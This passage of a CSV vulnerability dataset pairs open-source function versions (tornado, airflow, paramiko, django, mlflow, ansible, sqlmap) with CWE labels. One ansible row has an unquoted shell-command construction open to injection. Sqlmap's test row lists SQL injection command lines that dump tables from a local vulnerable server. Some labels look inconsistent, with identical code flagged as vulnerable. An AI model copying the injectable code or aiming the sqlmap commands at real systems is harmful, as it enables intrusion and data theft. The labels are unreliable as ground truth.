            client.close()",CWE-Unknown,tornadoweb/tornado,c633aa507218b1e2a5fce9b267785c8a38c4302c,"def test_streaming_until_close(self):
        server, client = self.make_iostream_pair()
        try:
            chunks = []

            def callback(data):
                chunks.append(data)
                self.stop()
            client.read_until_close(callback=callback,
                                    streaming_callback=callback)
            server.write(b""1234"")
            self.wait()
            server.write(b""5678"")
            self.wait()
            server.close()
            self.wait()
            self.assertEqual(chunks, [b""1234"", b""5678"", b""""])
        finally:
            server.close()
            client.close()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/security_manager.py,0,"def get_dag_id_from_task_instance(resource_pk):
            if not resource_pk:
                return None
            composite_pk = json.loads(resource_pk)
            dag_id = session.scalar(
                select(TaskInstance.dag_id)
                .where(
                    TaskInstance.dag_id == composite_pk[0],
                    TaskInstance.task_id == composite_pk[1],
                    TaskInstance.run_id == composite_pk[2],
                    TaskInstance.map_index >= composite_pk[3],
                )
                .limit(1)
            )
            if not dag_id:
                raise AirflowException(""Task instance not found"")
            return dag_id",CWE-Unknown,apache/airflow,26597046291a7f53b8a73165c19fd946d5887778,"def get_dag_id_from_task_instance(resource_pk):
            if not resource_pk:
                return None
            composite_pk = json.loads(resource_pk)
            ti = session.scalar(
                select(DagRun)
                .where(
                    TaskInstance.dag_id == composite_pk[0],
                    TaskInstance.task_id == composite_pk[1],
                    TaskInstance.run_id == composite_pk[2],
                    TaskInstance.map_index >= composite_pk[3],
                )
                .limit(1)
            )
            if not ti:
                raise AirflowException(""Task instance not found"")
            return ti.dag_id"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/transport.py,0,"def open_channel(self,
                     kind,
                     dest_addr=None,
                     src_addr=None,
                     window_size=None,
                     max_packet_size=None,
                     timeout=None):
        """"""
        Request a new channel to the server. `Channels <.Channel>` are
        socket-like objects used for the actual transfer of data across the
        session. You may only request a channel after negotiating encryption
        (using `connect` or `start_client`) and authenticating.

        .. note:: Modifying the the window and packet sizes might have adverse
            effects on the channel created. The default values are the same
            as in the OpenSSH code base and have been battle tested.

        :param str kind:
            the kind of channel requested (usually ``""session""``,
            ``""forwarded-tcpip""``, ``""direct-tcpip""``, or ``""x11""``)
        :param tuple dest_addr:
            the destination address (address + port tuple) of this port
            forwarding, if ``kind`` is ``""forwarded-tcpip""`` or
            ``""direct-tcpip""`` (ignored for other channel types)
        :param src_addr: the source address of this port forwarding, if
            ``kind`` is ``""forwarded-tcpip""``, ``""direct-tcpip""``, or ``""x11""``
        :param int window_size:
            optional window size for this session.
        :param int max_packet_size:
            optional max packet size for this session.
        :param float timeout:
            optional timeout opening a channel, default 3600s (1h)

        :return: a new `.Channel` on success

        :raises SSHException: if the request is rejected, the session ends
            prematurely or there is a timeout openning a channel

        .. versionchanged:: 1.15
            Added the ``window_size`` and ``max_packet_size`` arguments.
        """"""
        if not self.active:
            raise SSHException('SSH session not active')
        timeout = 3600 if timeout is None else timeout
        self.lock.acquire()
        try:
            window_size = self._sanitize_window_size(window_size)
            max_packet_size = self._sanitize_packet_size(max_packet_size)
            chanid = self._next_channel()
            m = Message()
            m.add_byte(cMSG_CHANNEL_OPEN)
            m.add_string(kind)
            m.add_int(chanid)
            m.add_int(window_size)
            m.add_int(max_packet_size)
            if (kind == 'forwarded-tcpip') or (kind == 'direct-tcpip'):
                m.add_string(dest_addr[0])
                m.add_int(dest_addr[1])
                m.add_string(src_addr[0])
                m.add_int(src_addr[1])
            elif kind == 'x11':
                m.add_string(src_addr[0])
                m.add_int(src_addr[1])
            chan = Channel(chanid)
            self._channels.put(chanid, chan)
            self.channel_events[chanid] = event = threading.Event()
            self.channels_seen[chanid] = True
            chan._set_transport(self)
            chan._set_window(window_size, max_packet_size)
        finally:
            self.lock.release()
        self._send_user_message(m)
        start_ts = time.time()
        while True:
            event.wait(0.1)
            if not self.active:
                e = self.get_exception()
                if e is None:
                    e = SSHException('Unable to open channel.')
                raise e
            if event.is_set():
                break
            elif start_ts + timeout < time.time():
                raise SSHException('Timeout opening channel.')
        chan = self._channels.get(chanid)
        if chan is not None:
            return chan
        e = self.get_exception()
        if e is None:
            e = SSHException('Unable to open channel.')
        raise e",,paramiko/paramiko,8f887b33c8f18273ce12a12263eda2041ac1781b,"def open_channel(self,
                     kind,
                     dest_addr=None,
                     src_addr=None,
                     window_size=None,
                     max_packet_size=None,
                     timeout=None):
        """"""
        Request a new channel to the server. `Channels <.Channel>` are
        socket-like objects used for the actual transfer of data across the
        session. You may only request a channel after negotiating encryption
        (using `connect` or `start_client`) and authenticating.

        .. note:: Modifying the the window and packet sizes might have adverse
            effects on the channel created. The default values are the same
            as in the OpenSSH code base and have been battle tested.

        :param str kind:
            the kind of channel requested (usually ``""session""``,
            ``""forwarded-tcpip""``, ``""direct-tcpip""``, or ``""x11""``)
        :param tuple dest_addr:
            the destination address (address + port tuple) of this port
            forwarding, if ``kind`` is ``""forwarded-tcpip""`` or
            ``""direct-tcpip""`` (ignored for other channel types)
        :param src_addr: the source address of this port forwarding, if
            ``kind`` is ``""forwarded-tcpip""``, ``""direct-tcpip""``, or ``""x11""``
        :param int window_size:
            optional window size for this session.
        :param int max_packet_size:
            optional max packet size for this session.
        :param float timeout:
            optional timeout opening a channel, default 3600s (1h)

        :return: a new `.Channel` on success

        :raises SSHException: if the request is rejected, the session ends
            prematurely or there is a timeout openning a channel

        .. versionchanged:: 1.15
            Added the ``window_size`` and ``max_packet_size`` arguments.
        """"""
        if not self.active:
            raise SSHException('SSH session not active')
        timeout = 3600 if timeout is None else timeout
        self.lock.acquire()
        try:
            window_size = self._sanitize_window_size(window_size)
            max_packet_size = self._sanitize_packet_size(max_packet_size)
            chanid = self._next_channel()
            m = Message()
            m.add_byte(cMSG_CHANNEL_OPEN)
            m.add_string(kind)
            m.add_int(chanid)
            m.add_int(window_size)
            m.add_int(max_packet_size)
            if (kind == 'forwarded-tcpip') or (kind == 'direct-tcpip'):
                m.add_string(dest_addr[0])
                m.add_int(dest_addr[1])
                m.add_string(src_addr[0])
                m.add_int(src_addr[1])
            elif kind == 'x11':
                m.add_string(src_addr[0])
                m.add_int(src_addr[1])
            chan = Channel(chanid)
            self._channels.put(chanid, chan)
            self.channel_events[chanid] = event = threading.Event()
            self.channels_seen[chanid] = True
            chan._set_transport(self)
            chan._set_window(window_size, max_packet_size)
        finally:
            self.lock.release()
        self._send_user_message(m)
        start_ts = time.time()
        while True:
            event.wait(0.1)
            if not self.active:
                e = self.get_exception()
                if e is None:
                    e = SSHException('Unable to open channel.')
                raise e
            if event.is_set():
                break
            elif start_ts + timeout < time.time():
                raise SSHException('Timeout openning channel.')
        chan = self._channels.get(chanid)
        if chan is not None:
            return chan
        e = self.get_exception()
        if e is None:
            e = SSHException('Unable to open channel.')
        raise e"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/gis/tests/geoapp/test_regress.py,0,"def test_unicode_date(self):
        ""Testing dates are converted properly, even on SpatiaLite. See #16408.""
        founded = datetime(1857, 5, 23)
        mansfield = PennsylvaniaCity.objects.create(name='Mansfield', county='Tioga', point='POINT(-77.071445 41.823881)',
                                                    founded=founded)
        self.assertEqual(founded, PennsylvaniaCity.objects.datetimes('founded', 'day')[0])
        self.assertEqual(founded, PennsylvaniaCity.objects.aggregate(Min('founded'))['founded__min'])",CWE-Unknown,django/django,5649c0af9d90ba1368abbe6c233ee61c976c8137,"def test_unicode_date(self):
        ""Testing dates are converted properly, even on SpatiaLite. See #16408.""
        founded = datetime(1857, 5, 23)
        mansfield = PennsylvaniaCity.objects.create(name='Mansfield', county='Tioga', point='POINT(-77.071445 41.823881)',
                                                    founded=founded)
        self.assertEqual(founded, PennsylvaniaCity.objects.datetimes('founded', 'day')[0])
        self.assertEqual(founded, PennsylvaniaCity.objects.aggregate(Min('founded'))['founded__min'])"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/testing.py,0,"def setUp(self) -> None:
        py_ver = sys.version_info
        if ((3, 10, 0) <= py_ver < (3, 10, 9)) or ((3, 11, 0) <= py_ver <= (3, 11, 1)):
            # Early releases in the Python 3.10 and 3.1 series had deprecation
            # warnings that were later reverted; we must suppress them here.
            setup_with_context_manager(self, warnings.catch_warnings())
            warnings.filterwarnings(
                ""ignore"",
                message=""There is no current event loop"",
                category=DeprecationWarning,
                module=r""tornado\..*"",
            )
        if (3, 14) <= py_ver:
            # TODO: This is a temporary hack pending resolution of
            # https://github.com/python/cpython/issues/130322
            # If set_event_loop is undeprecated, we can remove it; if not
            # we need substantial changes to this class to use asyncio.Runner
            # like IsolatedAsyncioTestCase does.
            setup_with_context_manager(self, warnings.catch_warnings())
            warnings.filterwarnings(
                ""ignore"",
                message=""'asyncio.set_event_loop' is deprecated"",
                category=DeprecationWarning,
                module=""tornado.testing"",
            )
        super().setUp()
        if type(self).get_new_ioloop is not AsyncTestCase.get_new_ioloop:
            warnings.warn(""get_new_ioloop is deprecated"", DeprecationWarning)
        self.io_loop = self.get_new_ioloop()
        asyncio.set_event_loop(self.io_loop.asyncio_loop)",CWE-Unknown,tornadoweb/tornado,bc5b9231207338f727910570e8388dcc0ee91888,"def setUp(self) -> None:
        py_ver = sys.version_info
        if ((3, 10, 0) <= py_ver < (3, 10, 9)) or ((3, 11, 0) <= py_ver <= (3, 11, 1)):
            # Early releases in the Python 3.10 and 3.1 series had deprecation
            # warnings that were later reverted; we must suppress them here.
            setup_with_context_manager(self, warnings.catch_warnings())
            warnings.filterwarnings(
                ""ignore"",
                message=""There is no current event loop"",
                category=DeprecationWarning,
                module=r""tornado\..*"",
            )
        super().setUp()
        if type(self).get_new_ioloop is not AsyncTestCase.get_new_ioloop:
            warnings.warn(""get_new_ioloop is deprecated"", DeprecationWarning)
        self.io_loop = self.get_new_ioloop()
        asyncio.set_event_loop(self.io_loop.asyncio_loop)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/preview_docs.py,0,"def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(""--commit-sha"", required=True)
    parser.add_argument(""--pull-number"", required=True)
    parser.add_argument(""--workflow-run-id"", required=True)
    args = parser.parse_args()

    github_session = Session()
    if github_token := os.environ.get(""GITHUB_TOKEN""):
        github_session.headers.update({""Authorization"": f""token {github_token}""})

    circle_session = Session()
    if circle_token := os.environ.get(""CIRCLE_TOKEN""):
        circle_session.headers.update({""Circle-Token"": circle_token})

    # Get the ID of the build_doc job
    repo = ""mlflow/mlflow""
    build_doc_job_name = ""build_doc""
    job_id = None
    workflow_run_link = f""https://github.com/{repo}/actions/runs/{args.workflow_run_id}""
    for _ in range(5):
        status = github_session.get(
            f""https://api.github.com/repos/{repo}/commits/{args.commit_sha}/status""
        )
        build_doc_status = next(
            filter(lambda s: s[""context""].endswith(build_doc_job_name), status[""statuses""]),
            None,
        )
        if build_doc_status:
            job_id = urlparse(build_doc_status[""target_url""]).path.split(""/"")[-1]
            break
        print(f""Waiting for {build_doc_job_name} job status to be available..."")
        time.sleep(3)
    else:
        print(f""Could not find {build_doc_job_name} job status"")
        comment_body = f""""""
Failed to find a documentation preview for {args.commit_sha}.

<details>
<summary>More info</summary>

- If the `ci/circleci: {build_doc_job_name}` job status is successful, you can see the preview with
  the following steps:
  1. Click `Details`.
  2. Click `Artifacts`.
  3. Click `docs/build/html/index.html`.
- This comment was created by {workflow_run_link}.

</details>
""""""
        upsert_comment(github_session, repo, args.pull_number, comment_body)
        return

    # Get the artifact URL of the top level index.html
    job = circle_session.get(f""https://circleci.com/api/v2/project/gh/{repo}/job/{job_id}"")
    job_url = job[""web_url""]
    workflow_id = job[""latest_workflow""][""id""]
    workflow = circle_session.get(f""https://circleci.com/api/v2/workflow/{workflow_id}/job"")
    build_doc_job = next(filter(lambda s: s[""name""] == build_doc_job_name, workflow[""items""]))
    build_doc_job_id = build_doc_job[""id""]
    top_page = f""https://output.circle-artifacts.com/output/job/{build_doc_job_id}/artifacts/0/docs/build/html/index.html""
    changed_pages = f""https://output.circle-artifacts.com/output/job/{build_doc_job_id}/artifacts/0/docs/build/html/diff.html""

    # Post the artifact URL as a comment
    comment_body = f""""""
Documentation preview for {args.commit_sha} will be available when [this CircleCI job]({job_url})
completes successfully.

- [Top page]({top_page})
- [Changed pages]({changed_pages})

<details>
<summary>More info</summary>

- Ignore this comment if this PR does not change the documentation.
- It takes a few minutes for the preview to be available.
- The preview is updated when a new commit is pushed to this PR.
- This comment was created by {workflow_run_link}.

</details>
""""""
    upsert_comment(github_session, repo, args.pull_number, comment_body)",,mlflow/mlflow,bd0df06e99da2f1d4bc770419e0d65fb125c0f94,"def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(""--commit-sha"", required=True)
    parser.add_argument(""--pull-number"", required=True)
    parser.add_argument(""--workflow-run-id"", required=True)
    args = parser.parse_args()

    headers = {}
    if github_token := os.environ.get(""GITHUB_TOKEN""):
        headers[""Authorization""] = f""token {github_token}""
    if circle_token := os.environ.get(""CIRCLE_TOKEN""):
        headers[""Circle-Token""] = circle_token

    session = Session()
    session.headers.update(headers)

    # Get the ID of the build_doc job
    repo = ""mlflow/mlflow""
    build_doc_job_name = ""build_doc""
    job_id = None
    workflow_run_link = f""https://github.com/{repo}/actions/runs/{args.workflow_run_id}""
    for _ in range(5):
        status = session.get(
            f""https://api.github.com/repos/{repo}/commits/{args.commit_sha}/status""
        )
        build_doc_status = next(
            filter(lambda s: s[""context""].endswith(build_doc_job_name), status[""statuses""]),
            None,
        )
        if build_doc_status:
            job_id = urlparse(build_doc_status[""target_url""]).path.split(""/"")[-1]
            break
        print(f""Waiting for {build_doc_job_name} job status to be available..."")
        time.sleep(3)
    else:
        print(f""Could not find {build_doc_job_name} job status"")
        comment_body = f""""""
Failed to find a documentation preview for {args.commit_sha}.

<details>
<summary>More info</summary>

- If the `ci/circleci: {build_doc_job_name}` job status is successful, you can see the preview with
  the following steps:
  1. Click `Details`.
  2. Click `Artifacts`.
  3. Click `docs/build/html/index.html`.
- This comment was created by {workflow_run_link}.

</details>
""""""
        upsert_comment(session, repo, args.pull_number, comment_body)
        return

    # Get the artifact URL of the top level index.html
    job = session.get(f""https://circleci.com/api/v2/project/gh/{repo}/job/{job_id}"")
    job_url = job[""web_url""]
    workflow_id = job[""latest_workflow""][""id""]
    workflow = session.get(f""https://circleci.com/api/v2/workflow/{workflow_id}/job"")
    build_doc_job = next(filter(lambda s: s[""name""] == build_doc_job_name, workflow[""items""]))
    build_doc_job_id = build_doc_job[""id""]
    top_page = f""https://output.circle-artifacts.com/output/job/{build_doc_job_id}/artifacts/0/docs/build/html/index.html""
    changed_pages = f""https://output.circle-artifacts.com/output/job/{build_doc_job_id}/artifacts/0/docs/build/html/diff.html""

    # Post the artifact URL as a comment
    comment_body = f""""""
Documentation preview for {args.commit_sha} will be available when [this CircleCI job]({job_url})
completes successfully.

- [Top page]({top_page})
- [Changed pages]({changed_pages})

<details>
<summary>More info</summary>

- Ignore this comment if this PR does not change the documentation.
- It takes a few minutes for the preview to be available.
- The preview is updated when a new commit is pushed to this PR.
- This comment was created by {workflow_run_link}.

</details>
""""""
    upsert_comment(session, repo, args.pull_number, comment_body)"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/package.py,1,"def run(self, tmp=None, task_vars=dict()):
        ''' handler for package operations '''

        name  = self._task.args.get('name', None)
        state = self._task.args.get('state', None)
        module = self._task.args.get('use', None)

        if module is None:
            try:
                module = self._templar.template('{{ansible_pkg_mgr}}')
            except:
                pass # could not get it from template!

        if module is None:
            #TODO: autodetect the package manager, by invoking that specific fact snippet remotely
            pass


        if module is not None:
            # run the 'package' module
            new_module_args = self._task.args.copy()
            if 'use' in new_module_args:
                del new_module_args['use']

            return self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars)

        else:

            return {'failed': True, 'msg': 'Could not detect which package manager to use. Try gathering facts or setting the ""use"" option.'}",CWE-703,ansible/ansible,19161dfd72500149b94bdd78f030b1311b390dab,"def run(self, tmp=None, task_vars=dict()):
        ''' handler for package operations '''

        name  = self._task.args.get('name', None)
        state = self._task.args.get('state', None)
        module = self._task.args.get('use', None)

        if module is None:
            try:
                module = self._templar.template('{{ansible_pkg_mgr}}')
            except:
                pass # could not get it from template!

        if moduel is None:
            #TODO: autodetect the package manager, by invoking that specific fact snippet remotely
            pass


        if module is not None:
            # run the 'package' module
            new_module_args = self._task.args.copy()
            if 'use' in new_module_args:
                del new_module_args['use']

            return self._execute_module(module_name=module, module_args=new_module_args, task_vars=task_vars)

        else:

            return {'failed': True, 'msg': 'Could not detect which package manager to use. Try gathering facts or setting the ""use"" option.'}"
,UNKNOWN,UNKNOWN,tests/regressiontests/comment_tests/tests/moderation_view_tests.py,1,"def testFlagPost(self):
        """"""POST the flag view: actually flag the view (nice for XHR)""""""
        comments = self.createSomeComments()
        pk = comments[0].pk
        self.client.login(username=""normaluser"", password=""normaluser"")
        response = self.client.post(""/flag/%d/"" % pk)
        self.assertEqual(response[""Location""], ""http://testserver/flagged/?c=%d"" % pk)
        c = Comment.objects.get(pk=pk)
        self.assertEqual(c.flags.filter(flag=CommentFlag.SUGGEST_REMOVAL).count(), 1)
        return c",CWE-259,django/django,b2ae0a63aeec741f1e51bac9a95a27fd635f9652,"def testFlagPost(self):
        """"""POST the flag view: actually flag the view (nice for XHR)""""""
        comments = self.createSomeComments()
        pk = comments[0].pk
        self.client.login(username=""normaluser"", password=""normaluser"")
        response = self.client.post(""/flag/%d/"" % pk)
        self.assertEqual(response[""Location""], ""http://testserver/flagged/?c=%d"" % pk)
        c = Comment.objects.get(pk=pk)
        self.assertEqual(c.flags.filter(flag=CommentFlag.SUGGEST_REMOVAL).count(), 1)
        return c"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/shell/sh.py,1,"def mkdtemp(self, basefile=None, system=False, mode=None):
        if not basefile:
            basefile = 'ansible-tmp-%s-%s' % (time.time(), random.randint(0, 2**48))
        basetmp = self.join_path(C.DEFAULT_REMOTE_TMP, basefile)
        if system and (basetmp.startswith('$HOME') or basetmp.startswith('~/')):
            basetmp = self.join_path('/tmp', basefile)
        cmd = 'mkdir -p ""%s""' % basetmp
        if mode:
            cmd += ' && chmod %s ""%s""' % (mode, basetmp)
        cmd += ' && echo ""%s""' % basetmp
        return cmd",CWE-330,ansible/ansible,3de6f264dd8bd9cfc25e694e8c04a73c64a08650,"def mkdtemp(self, basefile=None, system=False, mode=None):
        if not basefile:
            basefile = 'ansible-tmp-%s-%s' % (time.time(), random.randint(0, 2**48))
        basetmp = self.join_path(C.DEFAULT_REMOTE_TMP, basefile)
        if system and (basetmp.startswith('$HOME') or basetmp.startswith('~/')):
            basetmp = self.join_path('/tmp', basefile)
        cmd = 'mkdir -p %s' % basetmp
        if mode:
            cmd += ' && chmod %s %s' % (mode, basetmp)
        cmd += ' && echo %s' % basetmp
        return cmd"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/xgboost/test_xgboost_model_export.py,0,"def xgb_model():
    iris = datasets.load_iris()
    X = pd.DataFrame(
        iris.data[:, :2], columns=iris.feature_names[:2]  # we only take the first two features.
    )
    y = iris.target
    dtrain = xgb.DMatrix(X, y)
    model = xgb.train({""objective"": ""multi:softprob"", ""num_class"": 3}, dtrain)
    return ModelWithData(model=model, inference_dataframe=X, inference_dmatrix=dtrain)",,mlflow/mlflow,1fa5433313ba2767fd56a4f80e851406854e8d91,"def xgb_model():
    iris = datasets.load_iris()
    X = pd.DataFrame(
        iris.data[:, :2], columns=iris.feature_names[:2]  # we only take the first two features.
    )
    y = iris.target
    dtrain = xgb.DMatrix(X, y)
    model = xgb.train({""objective"": ""multi:softprob"", ""num_class"": 3}, dtrain)
    return ModelWithData(model=model, inference_dataframe=X, inference_dmatrix=dtrain)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,examples/pyfunc/train.py,0,"def load_context(self, context):
        self.model = mlflow.sklearn.load_model(context.artifacts[""custom_model""])",,mlflow/mlflow,5b684148bdfd7789f9f7b6128667e2133aa1fa4f,"def load_context(self, context):
        self.model = mlflow.sklearn.load_model(context.artifacts[""custom_model""])"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/hooks/gcs.py,0,"def get_md5hash(self, bucket_name, object_name):
        """"""
        Gets the MD5 hash of an object in Google Cloud Storage.

        :param bucket_name: The Google Cloud Storage bucket where the blob_name is.
        :type bucket_name: str
        :param object_name: The name of the object to check in the Google cloud
            storage bucket_name.
        :type object_name: str
        """"""
        self.log.info('Retrieving the MD5 hash of '
                      'object: %s in bucket: %s', object_name, bucket_name)
        client = self.get_conn()
        bucket = client.bucket(bucket_name)
        blob = bucket.get_blob(blob_name=object_name)
        blob_md5hash = blob.md5_hash
        self.log.info('The md5Hash of %s is %s', object_name, blob_md5hash)
        return blob_md5hash",CWE-Unknown,apache/airflow,b5b9795f0446bb484a91ee485f49ea456f1c26c4,"def get_md5hash(self, bucket_name, object_name):
        """"""
        Gets the MD5 hash of an object in Google Cloud Storage.

        :param bucket_name: The Google Cloud Storage bucket where the blob_name is.
        :type bucket_name: str
        :param object_name: The name of the object to check in the Google cloud
            storage bucket_name.
        :type object_name: str
        """"""
        self.log.info('Retrieving the MD5 hash of '
                      'object: %s in bucket: %s', object_name, bucket_name)
        client = self.get_conn()
        bucket = client.bucket(bucket_name)
        blob = bucket.get_blob(blob_name=object_name)
        blob_md5hash = blob.md5_hash
        self.log.info('The md5Hash of %s is %s', object_name, blob_md5hash)
        return blob_md5hash"
,UNKNOWN,UNKNOWN,lib/core/testing.py,1,"def vulnTest():
    """"""
    Runs the testing against 'vulnserver'
    """"""

    TESTS = (
        (""-h"", (""to see full list of options run with '-hh'"",)),
        (""--dependencies --deprecations"", (""sqlmap requires"", ""third-party library"", ""~DeprecationWarning:"")),
        (""-u <url> --data=\""reflect=1\"" --flush-session --wizard --disable-coloring"", (""Please choose:"", ""back-end DBMS: SQLite"", ""current user is DBA: True"", ""banner: '3."")),
        (""-u <url> --data=\""code=1\"" --code=200 --technique=B --banner --no-cast --flush-session"", (""back-end DBMS: SQLite"", ""banner: '3."", ""~COALESCE(CAST("")),
        (u""-c <config> --flush-session --output-dir=\""<tmpdir>\"" --smart --roles --statements --hostname --privileges --sql-query=\""SELECT '\u0161u\u0107uraj'\"" --technique=U"", (u"": '\u0161u\u0107uraj'"", ""on SQLite it is not possible"", ""as the output directory"")),
        (u""-u <url> --flush-session --sql-query=\""SELECT '\u0161u\u0107uraj'\"" --technique=B --no-escape --string=luther --unstable"", (u"": '\u0161u\u0107uraj'"",)),
        (""-m <multiple> --flush-session --technique=B --banner"", (""/3] URL:"", ""back-end DBMS: SQLite"", ""banner: '3."")),
        (""--dummy"", (""all tested parameters do not appear to be injectable"", ""does not seem to be injectable"", ""there is not at least one"", ""~might be injectable"")),
        (""-u \""<url>&id2=1\"" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\""AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"""", (""~1AND"",)),
        (""--list-tampers"", (""between"", ""MySQL"", ""xforwardedfor"")),
        (""-r <request> --flush-session -v 5 --test-skip=\""heavy\"" --save=<config>"", (""CloudFlare"", ""web application technology: Express"", ""possible DBMS: 'SQLite'"", ""User-agent: foobar"", ""~Type: time-based blind"", ""saved command line options to the configuration file"")),
        (""-c <config>"", (""CloudFlare"", ""possible DBMS: 'SQLite'"", ""User-agent: foobar"", ""~Type: time-based blind"")),
        (""-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors"", (""banner: '3."", ""ORDER BY term out of range"", ""~xp_cmdshell"", ""Connection: keep-alive"")),
        (""-l <log> --offline --banner -v 5"", (""banner: '3."", ""~[TRAFFIC OUT]"")),
        (""-u <base> --flush-session --data=\""id=1&_=Eewef6oh\"" --chunked --randomize=_ --random-agent --banner"", (""fetched random HTTP User-Agent header value"", ""Parameter: id (POST)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <base64> -p id --base64=id --data=\""base64=true\"" --flush-session --banner --technique=B"", (""banner: '3."",)),
        (""-u <base64> -p id --base64=id --data=\""base64=true\"" --flush-session --tables --technique=U"", ("" users "",)),
        (""-u <url> --flush-session --banner --technique=B --disable-precon --not-string \""no results\"""", (""banner: '3."",)),
        (""-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2"", (""banner: '3.'"",)),
        (""-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner"", (""total of 2 targets"", ""might be injectable"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <base> --flush-session --data=\""{\\\""id\\\"": 1}\"" --banner"", (""might be injectable"", ""3 columns"", ""Payload: {\""id\"""", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <base> --flush-session -H \""Foo: Bar\"" -H \""Sna: Fu\"" --data=\""<root><param name=\\\""id\\\"" value=\\\""1*\\\""/></root>\"" --union-char=1 --mobile --answers=\""smartphone=3\"" --banner --smart -v 5"", (""might be injectable"", ""Payload: <root><param name=\""id\"" value=\""1"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."", ""Nexus"", ""Sna: Fu"", ""Foo: Bar"")),
        (""-u <base> --flush-session --method=PUT --data=\""a=1;id=1;b=2\"" --param-del=\"";\"" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2"", (""might be injectable"", ""Parameter: id (PUT)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""2 entries"")),
        (""-u <url> --flush-session -H \""id: 1*\"" --tables -t <tmpfile>"", (""might be injectable"", ""Parameter: id #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\""OR boolean\"" --tamper=space2dash"", (""banner: '3."", "" LIKE "")),
        (""-u <url> --flush-session --cookie=\""PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\"" --tables --union-cols=3"", (""might be injectable"", ""Cookie #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users"", (""NULL connection is supported with HEAD method"", ""banner: '3."", ""users | 5"")),
        (""-u <url> --flush-session --parse-errors --test-filter=\""subquery\"" --eval=\""import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\"" --referer=\""localhost\"""", (""might be injectable"", "": syntax error"", ""back-end DBMS: SQLite"", ""WHERE or HAVING clause (subquery"")),
        (""-u <url> --banner --schema --dump -T users --binary-fields=surname --where \""id>3\"""", (""banner: '3."", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""2 entries"", ""6E616D6569736E756C6C"")),
        (""-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\""crack=n\"" -v 3"", (""performed 6 queries"", ""nameisnull"", ""~using default dictionary"", ""dumped to HTML file"")),
        (""-u <url> --flush-session --all"", (""5 entries"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""luther"", ""blisset"", ""fluffy"", ""179ad45c6ce2cb97cf1029e212046e81"", ""NULL"", ""nameisnull"", ""testpass"")),
        (""-u <url> -z \""tec=B\"" --hex --fresh-queries --threads=4 --sql-query=\""SELECT * FROM users\"""", (""SELECT * FROM users [5]"", ""nameisnull"")),
        (""-u \""<url>&echo=foobar*\"" --flush-session"", (""might be vulnerable to cross-site scripting"",)),
        (""-u \""<url>&query=*\"" --flush-session --technique=Q --banner"", (""Title: SQLite inline queries"", ""banner: '3."")),
        (""-d \""<direct>\"" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \""id=3\"""", (""7775"", ""179ad45c6ce2cb97cf1029e212046e81 (testpass)"", ""dumped to SQLITE database"")),
        (""-d \""<direct>\"" --flush-session --banner --schema --sql-query=\""UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"""", (""banner: '3."", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""5, foobar, nameisnull"", ""'987654321'"",)),
        (""--purge -v 3"", (""~ERROR"", ""~CRITICAL"", ""deleting the whole directory tree"")),
    )

    retVal = True
    count = 0
    address, port = ""127.0.0.1"", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            s.send(b""GET / HTTP/1.0\r\n\r\n"")
            if b""vulnserver"" in s.recv(4096):
                break
        except:
            time.sleep(1)
        finally:
            s.close()

    handle, config = tempfile.mkstemp(suffix="".conf"")
    os.close(handle)

    handle, database = tempfile.mkstemp(suffix="".sqlite"")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix="".req"")
    os.close(handle)

    handle, log = tempfile.mkstemp(suffix="".log"")
    os.close(handle)

    handle, multiple = tempfile.mkstemp(suffix="".lst"")
    os.close(handle)

    content = ""POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n"" % (address, port)
    with open(request, ""w+"") as f:
        f.write(content)
        f.flush()

    content = '<port>%d</port><request base64=""true""><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False))
    with open(log, ""w+"") as f:
        f.write(content)
